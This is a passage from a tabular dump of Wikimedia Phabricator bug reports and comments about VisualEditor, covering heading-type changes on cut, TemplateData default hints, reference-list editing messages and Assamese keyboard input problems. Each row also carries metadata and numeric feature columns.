2241907,VisualEditor: cutting block level elements changes the type of following element,Similar to T52419 in that it involves selections which overflow into the next CBN.,,,1701797695,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,True,,,544,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,13.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,Similar to T52419 in that it involves selections which overflow into the next CBN.
254058,VisualEditor: cutting block level elements changes the type of following element,"This was first raised at 
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Removing_line_above_header_.22de-headers.22_it.3B_lack_of_.22undo.22_facility

If you have a document like
==Heading 2==
===Heading 3===
====Heading 4====
Paragraph.

i.e.

<h2>Heading 2</h2>
<h3>Heading 3</h3>
<h4>Heading 4</h4>
<p>Paragraph.</p>

and select the heading 3 block, so the selection goes all the way to the right hand side of the screen then delete, it will change the following heading to be an <h3> element. Likewise deleting the whole of the heading 4 line and deleting changes the paragraph to be a <h3> heading.

I've made a test file at http://en.wikipedia.org/wiki/User:Salix_alba/VE_test",,,1376341181,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-m6mab3qibjjsonpriu5r,task_subcomment,,True,c1,3,False,,,6,,0.5,0.0,0.0,0.5,0.0,2.0,1.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,2.0,6.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,3.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.0,2.0,7.5,0.5,2.0,10.5,0.0,0.0,0.0,0.0,2.5,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.5,0.0,7.0,0.0,0.0,8.0,3.254499561018437,0.6006365232660228,"This was first raised at 
URL

If you have a document like
==Heading 2==
===Heading 3===
====Heading 4====
Paragraph.

i.e.

<h2>Heading 2</h2>
<h3>Heading 3</h3>
<h4>Heading 4</h4>
<p>Paragraph.</p>

and select the heading 3 block, so the selection goes all the way to the right hand side of the screen then delete, it will change the following heading to be an <h3> element. Likewise deleting the whole of the heading 4 line and deleting changes the paragraph to be a <h3> heading.

I've made a test file at URL"
54753,"VisualEditor: In the transclusion dialog, use TemplateData to hint the parameter's default value, if set","**Author:** `l736ewiki`

**Description:**
The data model for TemplateData allows the tag ""default"" to assign the default value for parameters which foresee it.

However, when adding a template to an article via VisualEditor, the default value is not presented inside the corresponding input field, which appears empty, nor there are automatic hints about the default value (unless who generated the TemplateData object inserted it into the textual ""description"" item).

I would have expected that:
* either the user is presented with the input field already pre-filled with the default value as specified inside the TemplateData description - this would improve usability
* or, if this pre-population of the input field is too complex/costly to achieve, at least the information about the ""default"" value is taken and highlighted using the corresponding ""default"" attribute from the parameter description.

You can test this on it.wiki, by trying editing a new article using VE and adding the template named ""Azienda"", whose ""logo_dimensioni"" parameter has been defined in JSON with ""default"":""200"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1376324640,1394072873.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ejfpqmqzgmehdhmxzmty,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,3.3333333333333335,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,8.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,7.333333333333333,2.3333333333333335,6.0,1.3333333333333333,2.0,9.666666666666666,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,1.3333333333333333,8.333333333333334,3.6666666666666665,0.0,5.666666666666667,0.0,1.3333333333333333,0.0,1.6666666666666667,1.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,4.343822843822843,0.6865911865911866,"**Author:** CODE

**Description:**
The data model for TemplateData allows the tag ""default"" to assign the default value for parameters which foresee it.

However, when adding a template to an article via VisualEditor, the default value is not presented inside the corresponding input field, which appears empty, nor there are automatic hints about the default value (unless who generated the TemplateData object inserted it into the textual ""description"" item).

I would have expected that:
* either the user is presented with the input field already pre-filled with the default value as specified inside the TemplateData description - this would improve usability
* or, if this pre-population of the input field is too complex/costly to achieve, at least the information about the ""default"" value is taken and highlighted using the corresponding ""default"" attribute from the parameter description.

You can test this on it.wiki, by trying editing a new article using VE and adding the template named ""Azienda"", whose ""logo_dimensioni"" parameter has been defined in JSON with ""default"":""200"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
54736,Show a message explaining how to edit references when user selects a references list,"Reports such as https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=568123469#I_can.27t_edit_the_references suggest that the references list being present but not editable is causing confusion for editors.

It would therefore be helpful for VE to display a message (popup? tooltip?) whne the reference list is selected that explains how to edit references. The text of this message should be set on a MediaWiki namespace page.

I don't have a suggested default wording at present.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52750",Medium,50.0,1376257440,1724164016.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-xffvpozuzkjhhlysn3cs,task_description,invalid,True,c1,3,False,False,False,5,,0.0,0.0,0.0,1.5,1.5,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.5,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,3.0,1.0,0.5,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.0,0.5,15.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,4.0,3.0,9.0,1.0,0.5,5.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.5,6.0,1.5,1.0,0.0,0.0,1.5,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,4.0250362844702465,0.7324020319303338,"Reports such as URL suggest that the references list being present but not editable is causing confusion for editors.

It would therefore be helpful for VE to display a message (popup? tooltip?) whne the reference list is selected that explains how to edit references. The text of this message should be set on a MediaWiki namespace page.

I don't have a suggested default wording at present.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
2399131,Show a message explaining how to edit references when user selects a references list,No longer needed after {T54750} made the referenced editable inside the references list.,,,1724164016,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,True,,,581,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.75,0.9375,No longer needed after {T54750} made the referenced editable inside the references list.
1231860,Show a message explaining how to edit references when user selects a references list,I'm suggesting that task for the Hackathon 2019 since it is something that would ease newcomers' lives. ,,,1551084196,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,295,,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,5.0,0.0,15.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,10.0,15.0,5.0,0.0,5.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,I'm suggesting that task for the Hackathon 2019 since it is something that would ease newcomers' lives. 
693783,Show a message explaining how to edit references when user selects a references list,[[https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Questions_techniques/semaine_28_2016#Impossibilt.C3.A9_d.27apporter_des_corrections_dans_les_sections_Notes_et_r.C3.A9f.C3.A9rences|New feedback from a user]] (a beginner) who wants to change a reference rom the reflist while editing with VE. ,,,1468426304,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,158,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,7.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,7.0,3.4444444444444446,0.8518518518518519,[[URL feedback from a user]] (a beginner) who wants to change a reference rom the reflist while editing with VE. 
252379,Show a message explaining how to edit references when user selects a references list,"This would be most helpful if the backlinks took you to the position of reference while remaining in edit mode.

Suggestion for the message from en.wp user Looie496:
 ""This list of references is automatically generated and cannot be edited directly. If you would like to change the content of a reference, click on its number where it appears in the body of the article.""",,,1376323680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,19.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,9.0,4.0,7.0,5.0,1.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,3.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,4.1891891891891895,0.7567567567567568,"This would be most helpful if the backlinks took you to the position of reference while remaining in edit mode.

Suggestion for the message from en.wp user Looie496:
 ""This list of references is automatically generated and cannot be edited directly. If you would like to change the content of a reference, click on its number where it appears in the body of the article."""
252374,Show a message explaining how to edit references when user selects a references list,"If implemented, bug 52750 would make this request either unnecessary or applicable only as an interim measure. In the latter case there wouldn't be any need for the message requested here to be editable on-wiki.",,,1376315524,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xffvpozuzkjhhlysn3cs,task_subcomment,,True,c1,3,False,,,6,,2.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,2.0,5.0,2.0,0.0,2.0,2.0,0.0,0.0,7.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,5.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.317073170731708,0.9024390243902439,"If implemented, bug 52750 would make this request either unnecessary or applicable only as an interim measure. In the latter case there wouldn't be any need for the message requested here to be editable on-wiki."
54726,VisualEditor: Typing problem in Assamese,"**Author:** `gitartha.bordoloi`

**Description:**
Hello,
Visual editor was deployed as an opt-in editing tool in Assamese wikipedia about 2 months ago. However it seems the tool doesn't support Assamese script well. While writing with some tools reproduces only vowels or consonants, the in-built keyboards do not work at all. Kindly look into this matter urgently before it is released as default editing tool. The discussions can be found here: http://as.wikipedia.org/wiki/%E0%A7%B1%E0%A6%BF%E0%A6%95%E0%A6%BF%E0%A6%AA%E0%A6%BF%E0%A6%A1%E0%A6%BF%E0%A6%AF%E0%A6%BC%E0%A6%BE_%E0%A6%AC%E0%A6%BE%E0%A7%B0%E0%A7%8D%E0%A6%A4%E0%A6%BE:%E0%A6%AD%E0%A6%BF%E0%A6%9C%E0%A7%81%E0%A7%B1%E0%A7%87%E0%A6%B2_%E0%A6%8F%E0%A6%A1%E0%A6%BF%E0%A6%9F%E0%A7%B0

Thank you.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1376210460,1644959034.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ltfnf6nk2htfdban76pc,task_description,resolved,True,c1,3,False,False,False,5,,1.5,0.0,0.0,2.5,1.5,3.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.5,0.0,0.0,0.0,8.5,7.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,1.5,0.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,2.5,10.0,0.5,0.5,4.0,0.0,0.0,0.0,0.0,3.0,0.5,0.5,0.0,2.5,7.0,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.9649122807017543,0.7894736842105263,"**Author:** CODE

**Description:**
Hello,
Visual editor was deployed as an opt-in editing tool in Assamese wikipedia about 2 months ago. However it seems the tool doesn't support Assamese script well. While writing with some tools reproduces only vowels or consonants, the in-built keyboards do not work at all. Kindly look into this matter urgently before it is released as default editing tool. The discussions can be found here: URL

Thank you.

--------------------------
**Version**: unspecified
**Severity**: major"
1865103,VisualEditor: Typing problem in Assamese,No replies. Assuming this has been resolved as I can neither reproduce with Assamese input methods provided by UniversalLanguageSelector nor with Assmese input methods offered by my operating system when using VisualEditor.,,,1644959034,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,450,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,21.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,5.647058823529412,0.8529411764705882,No replies. Assuming this has been resolved as I can neither reproduce with Assamese input methods provided by UniversalLanguageSelector nor with Assmese input methods offered by my operating system when using VisualEditor.
447269,VisualEditor: Typing problem in Assamese,"Could somebody please answer if what's left to do in this ticket ""just"" a dup of {T51569}, or is there more to do (if so, what?)",,,1429647219,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,94,,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,17.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,17.0,3.0,3.0,6.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,2.861111111111111,0.8333333333333334,"Could somebody please answer if what's left to do in this ticket ""just"" a dup of {T51569}, or is there more to do (if so, what?)"
429070,VisualEditor: Typing problem in Assamese,"Is what is left to do in this ticket ""just"" a duplicate of {T51569}? 
Or is there more to do (if so, what?)",,,1426772092,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,89,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,15.0,3.0,6.0,6.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,2.5757575757575757,0.8181818181818182,"Is what is left to do in this ticket ""just"" a duplicate of {T51569}? 
Or is there more to do (if so, what?)"
421358,VisualEditor: Typing problem in Assamese,"Is what is left to do in this ticket ""just"" a duplicate of {T51569}? 
Or is there more to do (if so, what?)",,,1425554546,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,15.0,3.0,6.0,6.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,2.5757575757575757,0.8181818181818182,"Is what is left to do in this ticket ""just"" a duplicate of {T51569}? 
Or is there more to do (if so, what?)"
421357,VisualEditor: Typing problem in Assamese,"(In reply to comment #11)
> NONE of the 6 in-built keyboards are working as of today.

I wonder if this is the same as T60662 comment 5 which is marked as a duplicate of T51569...",,,1425554489,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,16.0,3.0,0.0,13.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,19.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3225806451612905,0.9032258064516129,"(In reply to comment #11)
QUOTE

I wonder if this is the same as T60662 comment 5 which is marked as a duplicate of T51569..."
251799,VisualEditor: Typing problem in Assamese,"(In reply to comment #11)
> NONE of the 6 in-built keyboards are working as of today.

I wonder if this is the same as bug 58662 comment 5 which is marked as a duplicate of bug 49569...",,,1389025768,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,3.0,0.0,12.0,0.0,0.0,0.0,3.0,3.0,0.0,12.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.242424242424242,0.8787878787878788,"(In reply to comment #11)
QUOTE

I wonder if this is the same as bug 58662 comment 5 which is marked as a duplicate of bug 49569..."
251789,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:

Hello developers,
I'm regularly checking the visual editor in Assamese wikipedia and now it supports the ""external keyboards"" nicely. There is no problem with rendering of Assamese characters as I reported earlier. However NONE of the 6 in-built keyboards are working as of today. Trying to write something with those keyboards render only Roman characters. I reported the same problem in last August also. Here is a link to my sandbox page in Assamese wikipedia where I've tested the visualeditor with different keyboards. 
https://as.wikipedia.org/wiki/user:Gitartha.bordoloi/visualeditor_test

I've tested it on Mozilla Firefox 26 and Google chrome 30 (windows 7 pc). I'll be glad to hear about any new developments. Thanks.",,,1389023971,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,27,,0.5,0.5,0.0,0.0,0.0,7.0,1.5,0.0,0.0,0.0,4.0,2.5,0.0,0.5,0.5,4.5,0.0,5.5,10.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,1.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,2.5,14.0,0.5,1.0,5.5,0.0,0.0,0.0,0.0,2.0,0.5,3.0,0.0,6.0,10.0,4.0,0.0,1.0,0.0,6.0,0.0,0.5,0.5,0.0,1.5,0.5,0.0,0.0,4.199482401656315,0.784368530020704,"**gitartha.bordoloi** wrote:

Hello developers,
I'm regularly checking the visual editor in Assamese wikipedia and now it supports the ""external keyboards"" nicely. There is no problem with rendering of Assamese characters as I reported earlier. However NONE of the 6 in-built keyboards are working as of today. Trying to write something with those keyboards render only Roman characters. I reported the same problem in last August also. Here is a link to my sandbox page in Assamese wikipedia where I've tested the visualeditor with different keyboards. 
URL

I've tested it on Mozilla Firefox 26 and Google chrome 30 (windows 7 pc). I'll be glad to hear about any new developments. Thanks."
251781,VisualEditor: Typing problem in Assamese,"(In reply to comment #8)
> I tested it in Assamese wikipedia because on 5th September it was mentioned
> that ""please re-open if you find that it is still happening after tomorrow
> (when the code will go live on the Assamese Wikipedia)"". I tested it in
> mediawiki today and found some problems. I'll wait until Thursday and test it
> in aswiki again. Thank you.

Would it be possible to test against current master? You can use this at http://en.wikipedia.beta.wmflabs.org/ - we believe that we may have fixed the issues (or, at least, changed the behaviour) since you tested it.

Thank you!",,,1381269409,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,0.0,3.0,2.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,16.0,3.0,2.0,5.0,0.0,0.0,2.0,2.0,8.0,0.0,2.0,0.0,11.0,13.0,8.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.3492063492063493,0.7301587301587301,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Would it be possible to test against current master? You can use this at URL - we believe that we may have fixed the issues (or, at least, changed the behaviour) since you tested it.

Thank you!"
251775,VisualEditor: Typing problem in Assamese,"Hello Gitartha, could you also please add some screenshots if you find any problems after your next test? Thanks.",,,1379515454,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-ltfnf6nk2htfdban76pc,task_subcomment,,True,c1,3,False,,,11,,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,14.0,9.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.318181818181818,0.9545454545454546,"Hello Gitartha, could you also please add some screenshots if you find any problems after your next test? Thanks."
251769,VisualEditor: Typing problem in Assamese,"**gitartha.bordoloi** wrote:

